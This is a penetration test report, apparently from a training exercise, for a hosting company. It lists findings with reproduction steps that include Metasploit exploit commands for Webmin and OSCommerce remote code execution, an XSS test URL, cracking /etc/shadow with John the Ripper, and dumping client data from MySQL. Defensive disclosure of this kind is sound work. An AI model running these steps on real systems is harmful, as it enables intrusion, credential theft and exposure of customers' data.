Black Hawk Security

Company Security Review

RVAPTHosting

April 20, 2020

Prepared For:
Bob Dino
Mike
Joe Fnu

Prepared By:
Cullen Rezendes
Evan Mikulski
Spencer Roth
Elijah Heilman

Executive Summary

At the approval of RVAPT Hosting, a penetration test was performed on both RVAPT Hosting's public-facing and internal computing networks. Using various testing tools and methodologies, approved by RVAPT Hosting and discussed later in the report, many vulnerabilities were discovered that leave RVAPT Hosting's business operations and clients at risk. Such vulnerabilities and risks can impact the company significantly with effects including but not limited to a damaged reputation, loss of revenue, and loss of trust and confidence in the company. This audit seeks to discuss the importance and risk of these vulnerabilities as it relates to RVAPT Hosting's business and security while also presenting mitigation strategies.

Restatement of Proposal

The terms of this audit was to test and analyze the security of RVAPT Hosting's computing infrastructure as well as their clients' web pages and applications.

Manager Summary

During the engagement, we here at Black Hawk Security found five vulnerabilities, two plain text tables of client and employee data on mysql, the login credentials of some system administrators and a VIP client, and some potential malware. The vulnerabilities we found include a Webmin Remote Code Execution, FTP Anonymous Login, SMB signing is not enabled, NLA is not enabled, and an OSCommerce Remote Code Execution. Remediations for each vulnerability are discussed below in their respective sections. The mysql table issue can be fixed by simply hashing the data. To protect the login credentials, we suggest hashing them as well as hiding the files they are contained in. The fact that we found some potential malware on the system means that RVAPT Hosting has already been breached, and we recommend doing a deep scan of your systems to see if there are any other bugs or malware present. In addition to that, we recommend routine scans for these types of malware since while not all malware can be blocked, they can be stopped from causing too much damage.

Technical Summary

By the end of the engagement, we were able to discover multiple vulnerabilities in the network, two plain text mysql tables of client and employee data, the login credentials of high ranking staff (like system administrators) and VIP clients, and some potential malware. The vulnerabilities found were a Webmin Remote Code Execution, FTP Anonymous Login, and an OSCommerce Remote Code Execution. Each vulnerability and issue here is discussed in greater detail below including how to mitigate each. Initially, we were able to gain access to DMZ through the Webmin vulnerability (look below for more details) on the 192.168.110.60, and from there we found some login credentials (specifically the credentials for Mike and Josh). With those, we were able to gain access to mysql as the root user. Using the root user, we uncovered two tables filled with sensitive employee and customer data including but not limited to addresses, login credentials, and credit card numbers. While working through the DMZ, we happened across a potentially malicious program called .legion_miner_callbak which seems to be a cryptocurrency miner part of the Legion Loader Malware. We were unable to reverse engineer it, but research shows that the Legion Loader releases a myriad of malicious programs. On a seperate track, still using the previously found login credentials, we were able to gain access into the internal network. In the internal network it was discovered that the credentials to sysadminjosh could get us access to the dc as the user josh. Also it was discovered that Network Level Authentication is not enabled on 3 hosts and SMB Signing was not enabled on 4 hosts. We discuss how to mitigate each of these issues in the respective sections below.

Vulnerabilities

OSCommerce Install Directory

- **Description** – The OSCommerce package installed on the epicgamers.rvapthosting.com website contains an install directory still available to the public. This directory is used during setup to configure the SQL database connection, PHP configuration, etc. The directory is accessible to anyone visiting the website and can be exploited in various ways
- **Likelihood – High**
    - An attacker needs to only navigate to epicgamers.rvapthosting.com/install to access the setup interface. This will allow an attacker to redirect to a different SQL database, or just bring down the server in general. Additionally, there is a metasploit module already created for this vulnerability that grants shell access, it is very reasonable to assume an attacker will exploit without much effort.
- **Impact – High**

    - The impact of this vulnerability is labeled high due to the various ways it can be used. An attacker with shell access, although not logged in as an admin, will allow them the opportunity to access sensitive data and gain access throughout the infrastructure.
- **Steps to Reproduce**
    a. One way to see the vulnerability's impact is to simply navigate epicgamers.rvapthosting.com/install
    b. For shell access, perform the following
        - Start up a Kali Linux machine
        - Msfconsole
        - Use exploit/multi/http/oscommerce_installer_unauth_code_exec
        - SET RHOST 192.168.110.10
        - SET VHOST epicgamers.rvapthosting.com
        - SET URI /install
        - RUN

- **Mitigation**
    a. RVAPT Hosting can mitigate the vulnerability by simply deleting the install directory. OSCommerce recommends deleting the directory after installation.

Webmin Password Reset RCE

- **Description** – In version 1.920, there is a Remote code execution vulnerability in the password change forum. This allows the attacker to run commands as whatever user the webmin service is running as.
- **Likelihood –High**
    - The likelihood of this being exploited is high as there is a pre-existing metasploit exploit available.
- **Impact – High**
    - Since the webmin service was running as root on the mgmt machine, the impact of this is high. From here the attacker has complete control of the system and from there can have a pivot point.
- **Steps to Reproduce**
    a. Launch msfconcole
    b. use exploit/linux/http/webmin_backdoor
    c. Set RHOSTS 192.168.110.60
    d. Set LHOST 192.168.10.8

    e. Run
- **Mitigation**
    a. Update Webmin to the latest version
    b. Have the webmin service be run as a different user

Reflected Cross Site Scripting in Epic Gamers URL Path

- **Description** – Reflected Cross Site Scripting is a vulnerability that allows an attacker to execute JavaScript code given that a user is given the code. For example, an attacker can give a user a link to the epicgamers.rvapthosting.com website that includes the malicious code and could potentially gain access to a user's session, personal data, or even Cross Site Request Forgery Attacks.
- **Likelihood – Medium**
    - It is difficult to say how likely an attacker will be able to exploit this. Cross site scripting is an extremely popular web vulnerability among attackers and is usually one of the first items an attacker checks. Given time and proven ways to access a user's data, RVAPT Hosting can be sure that it is likely an attacker will use this vulnerability.
- **Impact – Medium**
    - The biggest impact that this vulnerability will have, lies in its ability to target users. An attacker can use this vulnerability to make faulty purchases and potentially expose a user's personal financial information if associated with the epicgamers website. Considering the website can be a breeding ground for user information that would result in loss of trust in epicgamers and RVAPT Hosting as a whole, we can be sure that the impact would be decently high. Therefore, we determined its impact to be medium given that the attacker may be able to access sensitive user data.
- **Steps to Reproduce**
    a. Testing on a user of the website is out of scope so the following URL will prove that reflected cross site scripting is present
    b. http://epicgamers.rvapthosting.com/product_info.php?products_id=javascript%3Aalert%281%29%3B
- **Mitigation**
    a. RVAPT Hosting needs to implement more sanitization of input. Encoding the url properly is important because the product_info.php page is allowing arbitrary input from users that can never be completely trusted. There are many ways to sanitize this data. The developers should go to the product_info.php code and disallow various characters including brackets or disallowing specific JavaScript tags.

SMB Signing not enabled

- **Description** – SMB signing is a security mechanism that adds a signature to the headers to prevent man in the middle attacks.
- **Likelihood – Low**
    - An attacker would already have to have made it to the internal network before they could exploit the fact that SMB signing is not enabled
- **Impact – Medium**
    - The impact of this is that it will allow the attacker to gain a shell on the host that is targeted.
- **Steps to Reproduce**
    a. Due to the change in the schedule, we did not have time to use this attack method
- **Mitigation**
    a. Enforce message signing in the host's configuration. On Windows, this is found in the policy setting 'Microsoft network server: Digitally sign communications (always)'. On Samba, the setting is called 'server signing'.

NLA (Network Level Authentication) not enabled

- **Description** – NLA is a technology that is used to require a user to authenticate themselves before a session to the server is started and to ensure the integrity of the remote server to prevent providing credentials to an untrusted host.
- **Likelihood – Low**
    - An attacker would already have to have made it to the internal network before they could exploit the fact that NLA is not enabled
- **Impact – Medium**
    - The impact of this is that it will allow the attacker to gain a shell on the host that is targeted.
- **Steps to Reproduce**
    a. Due to the change in the schedule, we did not have time to use this attack method
- **Mitigation**
    a. Enable Network Level Authentication (NLA) on the remote RDP server. This is generally done on the 'Remote' tab of the 'System' settings on Windows.

Credentials

sysadminjosh

- **Description** – Using the Webmin vulnerability discussed above, we were able to enumerate the .60 box and discover a file named reverse_ssh.txt that's contents included a plaintext password for the user sysadminjosh
- **Impact – High**
    - Although this set of credentials gave us less access than the Webmin exploit to the .60 box, this same set of credentials was later used to gain access to the internal network.
- **Steps to Reproduce**
    a. Run Webmin exploit
    b. Cat /home/sysadminjosh/.ssh/internal/reverse_ssh.txt
- **Mitigation**
    a. Do not store any plaintext passwords in a file.

bob

- **Description** – Using the password found above for the user sysadminjosh, we were able to ssh into the .20 box on the internal network. From this box we were able to uncover credentials for the user bob that were stored in a text file
- **Impact – Medium**
    - We did not use these credentials for other access, however, since Bob is an executive we believe these credentials would have more access than a regular employee.
- **Steps to Reproduce**
        - ssh "rvapthosting.com\josh"@192.168.120.20
        - Cat Documents\MobaXterm\slash\FTPRemoteFiles\3\2\josh@192.168.120.2\bob_sickdays_emergency_creds.txt
- **Mitigation**
    a. Do not store any plaintext passwords in a file. Do not reuse passwords.

sysadminmike

- **Description** – Obtained the contents of /etc/passwd and /etc/shadow from the Webmin backdoor and cracked the hash for the user sysadminmike
- **Impact – Medium**
    - Although this set of credentials give us more access than we already had, it is a way to establish persistence.
- **Steps to Reproduce**
    a. Use Webmin vulnerability to gain access to the .60 box
    b. cat /etc/passwd (copy and paste contents to local machine)
    c. cat /etc/shadow (copy and paste contents to local machine)
    d. unshadow passwd.txt shadow.txt > passwords.txt
    e. cd /usr/share/wordlist
    f. gunzip -k rockyou.txt.gz
    g. john --wordlist=/usr/share/wordlist/rockyou.txt passwords.txt
    h. John --show passwords.txt
- **Mitigation**
    a. Use stronger passwords.

sysadminjosh x2

- **Description** – Using the password found above for the user sysadminjosh, we were able to ssh into the .20 box on the internal network. From this box we were able to uncover credentials for the user josh that were stored in a text file
- **Impact – Medium**
    - These credentials were used to access an old FTP server that did not have much information on it, but could possibly be exploited.
- **Steps to Reproduce**
        - ssh "rvapthosting.com\josh"@192.168.120.20
        - cat oldftp.txt
- **Mitigation**
    - Don’t store passwords in plaintext in files. Get rid of deprecated infrastructure that is no longer being used.

VNC

- **Description** – Using the Webmin exploit and the OSCommerce exploit, we were able to find 2 sets of plaintext passwords for VNC.
- **Impact – Medium**
    - These passwords did not give us any access, but with more recon could potentially have led to compromise of other boxes.
- **Steps to Reproduce**
    - First password
        - Use Webmin exploit
        - cat vnc_cred.txt
    - Second password
        - Use OSCommerce exploit
        - Cat vnc.txt
- **Mitigation**
    - Don't store passwords in plaintext in files.

SSH Keys

- **Description** – SSH keys are used to grant a user secure remote access to a system. These keys are often used by technicians or developers to manage servers and the computing infrastructure.
- **Likelihood – Low**
    - The likelihood is low considering an attacker would need access to the machine already. The keys were accessed only after shell access was gained using some of the web exploits above.
- **Impact – High**
    - The impact would be high as it would grant an attacker the same access as the user associated with the key. The access to a sysadmin account would give an attacker a high level of access and potentially to other systems.
- **Steps to Reproduce**
    a. Run Webmin exploit
    b. /home/sysadminjosh/.ssh/
- **Mitigation**
    a. The SSH keys that were found were all private keys for various users (rvapt support and sysadmin Josh). The private keys should not be stored on the server and should only be kept on the technician's computer.

Scans

WPscan

- **Description** – Scans Wordpress for security issues. In this case, we found an old configuration file with authentication keys, salts, and mysql credentials.
- **Steps to Reproduce**
    a. wpscan --url http://blog.dankaistartup.rvapthosting.com/ -v
- **Mitigation**
    - Even though you cannot block the scanner itself, we suggest hiding and encrypting the configuration file or deleting it.

MySQL Breach

- **Description** – Two plain text tables were found using the root user that contained employee and client data.
- **Impact – High**
    - If
- **Steps to Reproduce**
    a. ssh -i ./saj_priv sysadminjosh@192.168.110.60
    b. mysql -u root -p
    c. SHOW DATABASE;
    d. USE rvapthosting;
    e. SHOW TABLES;
    f. SELECT * FROM clients;
    g. SELECT * FROM rvaptemployee;
- **Mitigation**
    a. The best thing to do here is to use a complex hashing algorithm so that the data is not in plain text. On top of that, using a different and stronger password for the root user would be highly recommended.

Conclusion

In conclusion, testing of RVAPT Hosting proved to have a significant amount of vulnerabilities. Web-related vulnerabilities, such as the RCE vulnerabilities found in the Webmin portal and OSCommerce management allowed attackers to gain a foothold in the system infrastructure before moving on to the rest of the infrastructure. Credentials were stored insecurely, allowing attackers to view plaintext passwords. The strength of passwords were also weak, allowing one of our testers to crack it with relative ease (an hour of time). Customer data was stored insecurely, allowing our testers to view sensitive user data, leading RVAPT Hosting liable to data breaches and damages. Finally, Blackhawk Security appreciates the opportunity to work with RVAPT Hosting. We are open to comments to assist in the post-engagement activities in order to ensure further security for RVAPT Hosting.